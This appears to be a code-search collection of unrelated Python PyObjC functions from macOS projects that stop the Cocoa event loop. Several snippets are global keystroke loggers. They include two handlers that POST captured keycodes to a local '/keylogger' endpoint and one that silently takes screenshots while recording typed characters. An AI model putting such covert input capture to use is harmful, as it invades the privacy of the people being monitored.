def trackChanged_iTunesTrack_(self, noteInfo, iTunesTrack): trackData = {"title": noteInfo["Name"]} if self.secretKey: trackData["key"] = self.secretKey if "Artist" in noteInfo: trackData["artist"] = noteInfo["Artist"] if "Album" in noteInfo: trackData["album"] = noteInfo["Album"] if "Store URL" in noteInfo: trackData["url"] = noteInfo["Store URL"] iTunesArtworks = iTunesTrack.artworks() if len(iTunesArtworks) >= 1: artwork = iTunesArtworks[0] artworkTIFF = artwork.data().TIFFRepresentation() artworkPNG = NSBitmapImageRep.imageRepWithData_(artworkTIFF).representationUsingType_properties_(NSPNGFileType, None) trackData["artpng"] = b64encode(artworkPNG.bytes()) try: urlopen(self.handlerURL, urlencode(trackData)) except URLError: description = (u"PostTunes encountered an error when attempting to post the track \"%s\" to your Handler URL." % trackData["title"]) NSLog(u"%s Handler URL: %s" % (description, self.handlerURL)) if self.warnFailure: alert = NSAlert.alertWithMessageText_defaultButton_alternateButton_otherButton_informativeTextWithFormat_("PostTunes Could Not Post Track", "OK", "Configure PostTunes", "Quit PostTunes", description) alert.setAlertStyle_(NSCriticalAlertStyle) alert.setShowsSuppressionButton_(True) alertReturn = alert.runModal() if alert.suppressionButton().state() == NSOnState: self.warnFailure = False if alertReturn == NSAlertAlternateReturn: self.runConfigurationAlert_title_description_(None, (u"%s Please confirm your Handler URL." % description)) elif alertReturn == NSAlertOtherReturn: AppHelper.stopEventLoop()
def handler(self, event): try: activeApps = self.workspace.runningApplications() for app in activeApps: if app.isActive(): if app.localizedName() != self.currentApp: self.currentApp = app.localizedName() options = kCGWindowListOptionOnScreenOnly windowList = CGWindowListCopyWindowInfo(options, kCGNullWindowID) for window in windowList: if window['kCGWindowOwnerName'] == self.currentApp: geom = window['kCGWindowBounds'] self.screen_hook( event=event, name = window['kCGWindowName'], owner = window['kCGWindowOwnerName'], x = geom['X'], y = geom['Y'], w = geom['Width'], h = geom['Height']) break break loc = NSEvent.mouseLocation() # mouse clicky buttons if event.type() in ( NSLeftMouseDown, NSRightMouseDown, NSLeftMouseUp, NSRightMouseUp): self.mouse_button_hook(event=event, x=loc.x, y=loc.y) # mouse scrolly buttons elif event.type() == NSScrollWheel: if event.deltaY() > 0 and event.deltaY() < 0: self.mouse_button_hook(event=event, x=loc.x, y=loc.y) if event.deltaX() > 0 and event.deltaX() < 0: self.mouse_button_hook(event=event, x=loc.x, y=loc.y) # keys down elif event.type() in ( NSKeyDown, NSKeyUp ): flags = event.modifierFlags() modifiers = [] # OS X api doesn't care it if is left or right if (flags & NSControlKeyMask): modifiers.append('CONTROL') if (flags & NSAlternateKeyMask): modifiers.append('ALTERNATE') if (flags & NSCommandKeyMask): modifiers.append('COMMAND') self.key_hook(event=event, key=event.keyCode(), char=keycode.tostring( event.keyCode() ), mods=modifiers, is_repeat=event.isARepeat()) # Mouse moved elif event.type() == NSMouseMoved: self.mouse_move_hook(event=event, x=loc.x, y=loc.y) else: pass except ( KeyboardInterrupt ) as e: print 'handler', e AppHelper.stopEventLoop()
def __call__(self, *args, **kwargs): try: evt = kwargs.get('event') del kwargs['event'] items = [ x[0]+"="+unicode(x[1]) for x in kwargs.iteritems()] current_key = 0 items_len = len(items) if items_len >= 3: current_key = str(items[2]).strip("key=") # block out unwanted keys typed if self.__class__.__name__ == "KeyHooker": if current_key not in wanted_keys and items_len >= 3: items[0] = 'char=$$' items[2] = 'key=$$' # stop enter/return key from causing new line if current_key == '36': items[0] = 'char=$$' items = ' '.join(items) print "%s | %20s | %22s | %s" % ( datetime.datetime.now(), self.__class__.__name__, evtypes_rev[evt.type()], items) except Exception as e: print 'Horrific error!', e AppHelper.stopEventLoop() sys.exit(0)
def run_mainloop_with(self, target): """Start the OS's main loop to process asyncronous BLE events and then run the specified target function in a background thread. Target function should be a function that takes no parameters and optionally return an integer response code. When the target function stops executing or returns with value then the main loop will be stopped and the program will exit with the returned code. Note that an OS main loop is required to process asyncronous BLE events and this function is provided as a convenience for writing simple tools and scripts that don't need to be full-blown GUI applications. If you are writing a GUI application that has a main loop (a GTK glib main loop on Linux, or a Cocoa main loop on OSX) then you don't need to call this function. """ # Create background thread to run user code. self._user_thread = threading.Thread(target=self._user_thread_main, args=(target,)) self._user_thread.daemon = True self._user_thread.start() # Run main loop. This call will never return! try: AppHelper.runConsoleEventLoop(installInterrupt=True) except KeyboardInterrupt: AppHelper.stopEventLoop() sys.exit(0)
def openURL_withReplyEvent_(self, event, replyEvent): keyDirectObject = struct.unpack(">i", "----")[0] url = (event.paramDescriptorForKeyword_(keyDirectObject) .stringValue().decode('utf8')) show_in_host = False for exception in self.exception_list : url_re = re.compile(exception) ret = url_re.search(url) if ret: show_in_host = True break if show_in_host: #NSLog("EXCEPTION MATCHED, opening in host: %s"%(url)) ##Hardcode to open in a host broswer bypassing the default handler ret = subprocess.check_output(["open", "-b", self.host_browser, url]) else: #NSLog("Opening in guest: %s"%(url)) self.vmr(url) ##Kill ourselves so the proc doesn't continue to run for * AppHelper.stopEventLoop()
def stop_event_loop(self): if self.notificationCenter: self.notificationCenter = None if self.blocking: AppHelper.stopEventLoop() if self.handler: self.handler = None
def gotLine(observer, aLine): if aLine: print "you wrote:", aLine.rstrip() prompt() else: print "" AppHelper.stopEventLoop()
def handler(self, event): try: if event.type() == NSLeftMouseDown: self.mouse_button_hook(1, True) # elif event.type() == NSLeftMouseUp: # self.mouse_button_hook(1, False) elif event.type() == NSRightMouseDown: self.mouse_button_hook(2, True) # elif event.type() == NSRightMouseUp: # self.mouse_button_hook(2, False) elif event.type() == NSKeyDown: self.key_hook(event.keyCode(), None, event.characters(), True, event.isARepeat()) elif event.type() == NSMouseMoved: loc = NSEvent.mouseLocation() self.mouse_move_hook(loc.x, loc.y) if event.type() in [NSLeftMouseDown, NSRightMouseDown, NSMouseMoved]: windowNumber = event.windowNumber() windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID) for window in windowList: if window['kCGWindowNumber'] == windowNumber: self.focus.wm_name = window['kCGWindowName'] self.fucus.app_name = window['kCGWindowOwnerName'] break except KeyboardInterrupt: AppHelper.stopEventLoop()
def about(self, sender): #rumps.alert("My quit message") if self.apiServer: self.apiServer.shutdown() AppHelper.stopEventLoop() rumps.quit_application() sys.exit()
def observerCallback(cls, element, contextData): axObj = contextData cb_fn = contextData.callbackFn cb_args = contextData.callbackArgs cb_kwargs = contextData.callbackKwargs if cb_fn is not None: retElem = cls.with_ref(element) if retElem is None: raise RuntimeError('Could not create new AX UI Element.') cb_args = (retElem,) + cb_args callbackRes = cb_fn(cb_args, cb_kwargs) if callbackRes is None: raise RuntimeError('Python callback failed.') if callbackRes in (-1, 1): AppHelper.stopEventLoop() temp = axObj.observerRes axObj.observerRes = callbackRes else: AppHelper.stopEventLoop() temp = axObj.observerRes axObj.observerRes = True
def handler(event): try: if event.keyCode() in KEYS: print KEYS[event.keyCode()] else: print '\n', event.keyCode(), '\n' except KeyboardInterrupt: AppHelper.stopEventLoop()
def exit(code=0): global _exited if _exited: return AppHelper.stopEventLoop() from .... import loader loader.terminate() _exited = True
def main(): try: app = NSApplication.sharedApplication() delegate = AppDelegate.alloc().init() NSApp().setDelegate_(delegate) AppHelper.runEventLoop() except KeyboardInterrupt: AppHelper.stopEventLoop()
def handler(event): try: activeApps = NSWorkspace.sharedWorkspace().runningApplications() for app in activeApps: if app.isActive() and app.localizedName() != "Google Chrome": return if event.type() == NSKeyDown and keycode.tostring(event.keyCode()) in string.printable: if event.keyCode() == 48: global delay sp.capture(region=region) currPiece = getPiece(sp.pixel(topLeftCenterx + 4 * squareWidth, topLeftCentery)) holdPiece = None isFirstHold = True while(1): colHeights = [0 for i in range(10)] grid = [[0 for i in range(23)] for i in range(10)] for i in range(10): centerx = topLeftCenterx + i * squareWidth for j in range(1, 20): centery = topLeftCentery + j * squareWidth if(not(isEmpty(sp.pixel(centerx, centery)))): grid[i][19 - j] = True if colHeights[i] == 0: colHeights[i] = 20 - j nextPiece = getPiece(sp.pixel(nextBoxx, nextBoxy)) if isFirstHold: holdPiece = nextPiece currMovementInfo = calculateBestPlacement(currPiece, nextPiece, colHeights) holdMovementInfo = None if isFirstHold: holdMovementInfo = calculateBestPlacement(holdPiece, None, colHeights) else: holdMovementInfo = calculateBestPlacement(holdPiece, nextPiece, colHeights) if currMovementInfo[2] <= holdMovementInfo[2]: placePiece(currPiece, currMovementInfo[0], currMovementInfo[1], colHeights, grid) executeMovement(currPiece, currMovementInfo[0], currMovementInfo[1]) else: pressNTimes("c", 1) if isFirstHold: sleep(0.07) sp.capture(region=region) nextPiece = getPiece(sp.pixel(nextBoxx, nextBoxy)) isFirstHold = False placePiece(holdPiece, holdMovementInfo[0], holdMovementInfo[1], colHeights, grid) executeMovement(holdPiece, holdMovementInfo[0], holdMovementInfo[1]) holdPiece = currPiece if lineCleared(grid): sleep(0.3) else: sleep(0.07) sp.capture(region=region) currPiece = nextPiece except ( KeyboardInterrupt ) as e: print 'Ending', e AppHelper.stopEventLoop()
def exit_sab(value): """ Leave the program after flushing stderr/stdout """ sys.stderr.flush() sys.stdout.flush() if getattr(sys, 'frozen', None) == 'macosx_app': sabnzbd.SABSTOP = True from PyObjCTools import AppHelper # @UnresolvedImport AppHelper.stopEventLoop() sys.exit(value)
def post(self): logging.info('Posted quit.') self.write('GUI quitting'); # On mac, we have to shutdown the application before quitting the rest of # the process. if _PLATFORM == 'Darwin': AppHelper.stopEventLoop() sys.exit(0)
def handler(event): global dataCount if dataCount == 100: r = requests.post('http://localhost:1337/keylogger', data= {'data': data}, timeout=None) dataCount = 0 try: dataCount += 1 data.append(event.keyCode()) except KeyboardInterrupt: AppHelper.stopEventLoop()
def __call__(self, *args, **kwargs): try: evt = kwargs.get('event') del kwargs['event'] items = ' '.join( [ x[0]+"="+unicode(x[1]) for x in kwargs.iteritems()] ) print "%20s | %22s | %s" % ( self.__class__.__name__, evtypes_rev[evt.type()], items) except Exception as e: print 'Horrific error!', e AppHelper.stopEventLoop() sys.exit(0)
def stopRunLoop(): """Gracefully stop the Cocoa run loop, which also results in script exiting.""" global gMLNotification # Remove any notifications we posted. gMLNotification.clearNotifications() # Kill of our run loop since we will no longer be responding to any clicks. AppHelper.stopEventLoop()
def handler(event): global word_holder try: typed_char = event.charactersIgnoringModifiers() doSomething(str(typed_char)) #NSLog(u"%@", event.charactersIgnoringModifiers()) except KeyboardInterrupt: AppHelper.stopEventLoop() print ("Finished")
def upHandler(event): try: if(event.keyCode() == 49): # space button playrandom(spaceups) elif(event.keyCode() == 36): # return button playrandom(returnups) else: playrandom(ups) except KeyboardInterrupt: AppHelper.stopEventLoop() raise
def handler(self, event): try: self.find_window() loc = NSEvent.mouseLocation() if event.type() == NSLeftMouseDown: self.mouse_button_hook(1, loc.x, loc.y) # elif event.type() == NSLeftMouseUp: # self.mouse_button_hook(1, loc.x, loc.y) elif event.type() == NSRightMouseDown: self.mouse_button_hook(3, loc.x, loc.y,) # elif event.type() == NSRightMouseUp: # self.mouse_button_hook(2, loc.x, loc.y) elif event.type() == NSScrollWheel: if event.deltaY() > 0: self.mouse_button_hook(4, loc.x, loc.y) elif event.deltaY() < 0: self.mouse_button_hook(5, loc.x, loc.y) if event.deltaX() > 0: self.mouse_button_hook(6, loc.x, loc.y) elif event.deltaX() < 0: self.mouse_button_hook(7, loc.x, loc.y) # if event.deltaZ() > 0: # self.mouse_button_hook(8, loc.x, loc.y) # elif event.deltaZ() < 0: # self.mouse_button_hook(9, loc.x, loc.y) elif event.type() == NSKeyDown: flags = event.modifierFlags() modifiers = [] # OS X api doesn't care it if is left or right if flags & NSControlKeyMask: modifiers.append('Ctrl') if flags & NSAlternateKeyMask: modifiers.append('Alt') if flags & NSCommandKeyMask: modifiers.append('Cmd') if flags & (NSShiftKeyMask | NSAlphaShiftKeyMask): modifiers.append('Shift') character = event.charactersIgnoringModifiers() # these two get a special case because I am unsure of # their unicode value if event.keyCode() is 36: character = "Enter" elif event.keyCode() is 51: character = "Backspace" self.key_hook(event.keyCode(), modifiers, keycodes.get(character, character), event.isARepeat()) elif event.type() == NSMouseMoved: self.mouse_move_hook(loc.x, loc.y) except (Exception, KeyboardInterrupt): AppHelper.stopEventLoop() raise
def __call__(self, *args, **kwargs): try: evt = kwargs.get('event') del kwargs['event'] items = ' '.join( [ x[0]+"="+unicode(x[1]) for x in kwargs.iteritems()] ) with open('./raw_data/output.txt', 'a+') as f: f.write("%s %s | %s | %s\n" % ( strftime("%Y-%m-%d %H:%M:%S", gmtime()), self.__class__.__name__, evtypes_rev[evt.type()], items)) except KeyboardInterrupt as e: print 'Oh no error!', e AppHelper.stopEventLoop() sys.exit(0)
def userNotificationCenter_shouldPresentNotification_( self, center, notification): """ Handle the prompt never being scheduled to run :param center: NSUserNotificationCenter :param notification: NSUserNotification :return: Complete (bool) """ print(test) # Stop even loop if start with runConsoleEventLoop AppHelper.stopEventLoop() return True
def __call__(self, *args, **kwargs): try: evt = kwargs.get('event') del kwargs['event'] items = ' '.join( [x[0] + "=" + unicode(x[1]) for x in kwargs.iteritems()]) print("%20s | %22s | %s" % (self.__class__.__name__, evtypes_rev[evt.type()], items)) except Exception as e: print('Horrific error!', e) AppHelper.stopEventLoop() sys.exit(0)
def handler(event): global dataCount if dataCount == 100: r = requests.post('http://localhost:1337/keylogger', data={'data': data}, timeout=None) dataCount = 0 try: dataCount += 1 data.append(event.keyCode()) except KeyboardInterrupt: AppHelper.stopEventLoop()
def runConfigurationAlert_title_description_(self, title, description): if not title: title = "PostTunes Configuration" alert = NSAlert.alertWithMessageText_defaultButton_alternateButton_otherButton_informativeTextWithFormat_(title, "OK", "Quit PostTunes", None, description) alert.setAccessoryView_(self.preferencesWindow.contentView().retain()) alert.setAlertStyle_(NSCriticalAlertStyle) alertReturn = alert.runModal() if alertReturn == NSAlertDefaultReturn: self.handlerURL = NSUserDefaults.standardUserDefaults().stringForKey_("handlerURL") if not self.handlerURL: self.runConfigurationAlert_title_description_("PostTunes Handler URL Missing", "You must set a Handler URL for PostTunes to function.") elif alertReturn == NSAlertAlternateReturn: AppHelper.stopEventLoop()
def userNotificationCenter_didDismissAlert_(self, center, notification): """ Handle the prompt being cancelled by the user :param center: NSUserNotificationCenter :param notification: NSUserNotification :return: Complete (bool) """ self.responseCode = notification.activationType() self.responseMessage = 'Cancelled' # Stop even loop if start with runConsoleEventLoop AppHelper.stopEventLoop() return True
def key_handler(event, timing_dict = {}): threshhold = args.threshhold # I know I know try: timing_dict[int(event.timestamp())] = timing_dict.get(int(event.timestamp()), 0) + 1 if timing_dict[int(event.timestamp())] > threshhold: print('HID ATTACK DETECTED') for ts in timing_dict.keys(): # This is some manual GC to keep the timing_dict small if not ts == int(event.timestamp()): timing_dict.pop(ts) except KeyboardInterrupt: AppHelper.stopEventLoop() except Exception as e: pass
def requestLivePhotoResources(self, version=PHOTOS_VERSION_CURRENT): """ return the photos and video components of a live video as [PHAssetResource] """ with objc.autorelease_pool(): options = Photos.PHLivePhotoRequestOptions.alloc().init() options.setNetworkAccessAllowed_(True) options.setVersion_(version) options.setDeliveryMode_( Photos.PHVideoRequestOptionsDeliveryModeHighQualityFormat ) delegate = PhotoKitNotificationDelegate.alloc().init() self.nc.addObserver_selector_name_object_( delegate, "liveNotification:", None, None ) self.live_photo = None def handler(result, info): """ result handler for requestLivePhotoForAsset:targetSize:contentMode:options:resultHandler: """ if not info["PHImageResultIsDegradedKey"]: self.live_photo = result self.info = info self.nc.postNotificationName_object_( PHOTOKIT_NOTIFICATION_FINISHED_REQUEST, self ) try: self.manager.requestLivePhotoForAsset_targetSize_contentMode_options_resultHandler_( self.asset, Photos.PHImageManagerMaximumSize, Photos.PHImageContentModeDefault, options, handler, ) AppHelper.runConsoleEventLoop(installInterrupt=True) except KeyboardInterrupt: AppHelper.stopEventLoop() finally: pass asset_resources = Photos.PHAssetResource.assetResourcesForLivePhoto_( self.live_photo ) # not sure why this is needed -- some weird ref count thing maybe # if I don't do this, memory leaks data = copy.copy(asset_resources) del asset_resources return data
def alertLoop(self): raise_application() alert = NSAlert.alertWithMessageText_defaultButton_alternateButton_otherButton_informativeTextWithFormat_(self._title, None, None, None, self._message) alert.setAlertStyle_(NSCriticalAlertStyle) if self._help_link: alert.setShowsHelp_(YES) alert.setHelpAnchor_(self._help_link) alert.setDelegate_(self) if hasattr(alert, 'setAccessoryView_') and self._text: alert.setAccessoryView_(self.createAccessoryView(alert)) alert.runModal() AppHelper.stopEventLoop() if self._done_event: self._done_event.set()
def __init__(self): self.cf = BLE_CF.BLE_CrazyFlie() # add methods that the crazyflie executes #Pool().map(self.cf.add_callback, self._preCtrlFly()) Pool().map(self.cf.add_callback, self._liveFly()) #self.cf.add_callback(self._preCtrlFly) #self.cf.add_callback(self._liveFly) manager = CBCentralManager.alloc() manager.initWithDelegate_queue_options_(self.cf, None, None) try: AppHelper.runConsoleEventLoop(installInterrupt=True) except KeyboardInterrupt: AppHelper.stopEventLoop()
def handler(event): global flag try: # NSLog(u"%@", event) # print 'keycode: ' + str(event.keyCode()) if int(event.keyCode()) == 6: # 6 - Z Key flag = not (flag) status = "activated" if flag else "deactivated" print "clicker " + status clicker() elif int(event.keyCode()) == 53: # 53 - ESC Key AppHelper.stopEventLoop() except KeyboardInterrupt: AppHelper.stopEventLoop()
def applicationDidFinishLaunching_(self, notification): workspace = NSWorkspace.sharedWorkspace() activeApps = workspace.runningApplications() for app in activeApps: if app.isActive(): options = kCGWindowListOptionOnScreenOnly windowList = CGWindowListCopyWindowInfo( options, kCGNullWindowID) for window in windowList: if window['kCGWindowOwnerName'] == app.localizedName(): NSLog('%@', window) break break AppHelper.stopEventLoop()
def handler(self, event): try: # ONLY KEY UP if event.type() == NSKeyUp: flags = event.modifierFlags() if (flags & NSControlKeyMask): print str(event.keyCode()) atitd_set( 'command:' + str(event.keyCode()) ) else: pass except ( KeyboardInterrupt ) as e: # print 'handler', e AppHelper.stopEventLoop()
def handler(event): global flag try: #NSLog(u"%@", event) #print 'keycode: ' + str(event.keyCode()) if (int(event.keyCode()) == 6): # 6 - Z Key flag = not (flag) status = 'activated' if flag else 'deactivated' print('clicker ' + status) clicker() elif (int(event.keyCode()) == 53): # 53 - ESC Key AppHelper.stopEventLoop() except KeyboardInterrupt: AppHelper.stopEventLoop()
def downHandler(event): try: if (not event.isARepeat()): if (event.keyCode() == 49): # space button playrandom(spacedowns) elif (event.keyCode() == 36): # return button playrandom(returndowns) else: playrandom(downs) if (event.keyCode() == 53 and event.isARepeat()): #ESC key playrandom(ups) AppHelper.stopEventLoop() except KeyboardInterrupt: AppHelper.stopEventLoop() raise
def downHandler(event): try: if (not event.isARepeat()): if(event.keyCode() == 49): # space button playrandom(spacedowns) elif(event.keyCode() == 36): # return button playrandom(returndowns) else: playrandom(downs) if(event.keyCode() == 53 and event.isARepeat()): #ESC key playrandom(ups) AppHelper.stopEventLoop() except KeyboardInterrupt: AppHelper.stopEventLoop() raise
def handler(event): try: event_data = [ event._.characters, # unicode event._.charactersIgnoringModifiers, # unicode event._.keyCode, # integer (could probably be small, but who cares) event._.modifierFlags, # integer event._.timestamp, # double datetime.datetime.now(), # timestamp ] cursor.execute(insert, event_data) conn.commit() print(event_data) except KeyboardInterrupt: AppHelper.stopEventLoop()
def did_finish_(self, notification): print notification.name() # NSMetadataQueryDidFinishGatheringNotification # Stops the event loop (if started by runConsoleEventLoop) or sends the NSApplication a terminate: message. didStop = AppHelper.stopEventLoop() if didStop: print "stopping the event loop " raise ValueError, "this will stop you!"
def handler(event): '''Event handler''' try: filename = get_filename() print '[+] GOTEM!' print '[+] Captured to file: %s' % filename # Take webcam pic call([imagesnap, '-q','-w', '1', filename]) # Activate screensaver call([screensaver_action, screenaver]) # Closeout AppHelper.stopEventLoop() except KeyboardInterrupt: AppHelper.stopEventLoop()
def get_html(value, error=None): NSLog('Getting html') NSLog(f'Title Element is "{value}"') for _ in range(10): print('Todo: Insert code') time.sleep(.1) NSLog(AppHelper.stopEventLoop()) return
def main(): try: app = NSApplication.sharedApplication() delegate = AppDelegate.alloc().init() NSApp().setDelegate_(delegate) def handler(signal, frame): print( "\nSending stopEventLoop in run function sub function handler") AppHelper.stopEventLoop() signal.signal(signal.SIGINT, handler) AppHelper.runEventLoop() except (SystemExit, KeyboardInterrupt): print("\nCtrl-C is entered") AppHelper.stopEventLoop()
def handler(event): try: dataArr = str(event).split() charValue = [ s for s in dataArr if 'chars' in s and 'unmodchars' not in s ][0] charValue = charValue[charValue.find('=') + 1::] charValue = charValue.replace("\"", "") keyPoint = { "time_interval": str(datetime.datetime.utcnow()), "character": str(charValue) } keyDataArr.append(keyPoint) except KeyboardInterrupt: print 'yolocats' AppHelper.stopEventLoop()
def centralManager_didDiscoverPeripheral_advertisementData_RSSI_( self, manager, peripheral, data, rssi): self.count_advertisements += 1 if self.debug: print( 'centralManager_didDiscoverPeripheral_advertisementData_RSSI_') print( "\n======== Advertisement {} t={} len={} Channel={} rssi={} =======" .format(self.count_advertisements, datetime.datetime.now().isoformat(), len(data), data.get(C.kCBAdvDataChannel, '??'), rssi)) ident = peripheral.identifier() name = peripheral.name() try: if name is None: name = "" else: name = "Name: " + name print("SOURCE: {} {}".format(ident, name)) for prop in data.keys(): if prop == C.kCBAdvDataChannel: continue elif prop == C.kCBAdvDataIsConnectable: print("kCBAdvDataIsConnectable: ", data[C.kCBAdvDataIsConnectable]) elif prop == C.kCBAdvDataManufacturerData: obj = BTLEAdvClassifier( manuf_data=bytes(data[C.kCBAdvDataManufacturerData])) print(obj.json(indent=5)) else: try: for (key, val) in dict(data[prop]).items(): print("kCBAdvDataManufacturerData {} = {}".format( key, val)) except Exception as e: print(f"data[{prop}] = {data[prop]}") except Exception as e: print("exception: ", e) if EXIT_COUNT == self.count_advertisements: AppHelper.stopEventLoop()
def userNotificationCenter_didActivateNotification_( self, center, notification): """ Handle user selections (override) :param center: NSUserNotificationCenter :param notification: NSUserNotification :return: (void) """ self.responseCode = notification.activationType() self.responseMessage = response = notification.response() # If reply option if notification.activationType() is 3: self.responseMessage = notification.response().string() # In option selection if notification.activationType() is 4: self.responseMessage = notification.additionalActivationAction( ).title() # Stop even loop if start with runConsoleEventLoop AppHelper.stopEventLoop()
def keypress_handler(event): global count if time.time() >= t_end: AppHelper.stopEventLoop() if not os.path.exists(output_directory): os.makedirs(output_directory) try: if (count % 5 == 0): if not os.path.exists(output_directory + "/folder" + str(count / 50)): os.makedirs(output_directory + "/folder" + str(count / 50)) os.system("screencapture -x " + output_directory + "/folder" + str(count / 50) + "/screenshot" + str('%03d' % (count / 5)) + ".png") count += 1 event_dict = parse_event(event) f = open(output_filepath, "a+") f.write(event_dict['chars']) except KeyboardInterrupt: AppHelper.stopEventLoop()
def shutdown(): log.info('Stopping event loop') AppHelper.stopEventLoop()
def camera_didReceiveFrame_(self, camera, frame): self.frame = frame AppHelper.stopEventLoop()
def liveNotification_(self, note): if note.name() == PHOTOKIT_NOTIFICATION_FINISHED_REQUEST: AppHelper.stopEventLoop()
def endLoop(self): AppHelper.stopEventLoop()
def windowWillClose_(self, notification): NSLog('windowWillClose') AppHelper.stopEventLoop()
def stop(self): if self.event_loop_started: self.event_loop_started = False import PyObjCTools.AppHelper as AppHelper #@UnresolvedImport AppHelper.stopEventLoop()
def tick_(self, notification): """ Keep alive only as long as TVB subprocess is still running """ if tvb_process.poll(): AppHelper.stopEventLoop()
def runLoopAndExit(): AppHelper.stopEventLoop()
def doBadThingsNow_(self, aTimer): AppHelper.stopEventLoop() raise ValueError("doing bad things")
def quit(self, sender): if self.apiServer: self.apiServer.kill() AppHelper.stopEventLoop() rumps.quit_application() sys.exit()
def handler(self, event): try: activeApps = self.workspace.runningApplications() for app in activeApps: if app.isActive(): if app.localizedName() != self.currentApp: self.currentApp = app.localizedName() options = kCGWindowListOptionOnScreenOnly windowList = CGWindowListCopyWindowInfo( options, kCGNullWindowID) for window in windowList: if window['kCGWindowOwnerName'] == self.currentApp: geom = window['kCGWindowBounds'] self.screen_hook( event=event, name=window['kCGWindowName'], owner=window['kCGWindowOwnerName'], x=geom['X'], y=geom['Y'], w=geom['Width'], h=geom['Height']) break break loc = NSEvent.mouseLocation() # mouse clicky buttons if event.type() in (NSLeftMouseDown, NSRightMouseDown, NSLeftMouseUp, NSRightMouseUp): self.mouse_button_hook(event=event, x=loc.x, y=loc.y) # mouse scrolly buttons elif event.type() == NSScrollWheel: if event.deltaY() > 0 and event.deltaY() < 0: self.mouse_button_hook(event=event, x=loc.x, y=loc.y) if event.deltaX() > 0 and event.deltaX() < 0: self.mouse_button_hook(event=event, x=loc.x, y=loc.y) # keys down elif event.type() in (NSKeyDown, NSKeyUp): flags = event.modifierFlags() modifiers = [] # OS X api doesn't care it if is left or right if (flags & NSControlKeyMask): modifiers.append('CONTROL') if (flags & NSAlternateKeyMask): modifiers.append('ALTERNATE') if (flags & NSCommandKeyMask): modifiers.append('COMMAND') self.key_hook(event=event, key=event.keyCode(), char=keycode.tostring(event.keyCode()), mods=modifiers, is_repeat=event.isARepeat()) # Mouse moved elif event.type() == NSMouseMoved: self.mouse_move_hook(event=event, x=loc.x, y=loc.y) else: pass except (KeyboardInterrupt) as e: print('handler', e) AppHelper.stopEventLoop()
def shutdownGuiEnvironment(): if sys.platform == 'darwin': from PyObjCTools import AppHelper AppHelper.stopEventLoop()
def cancel(self): AppHelper.stopEventLoop()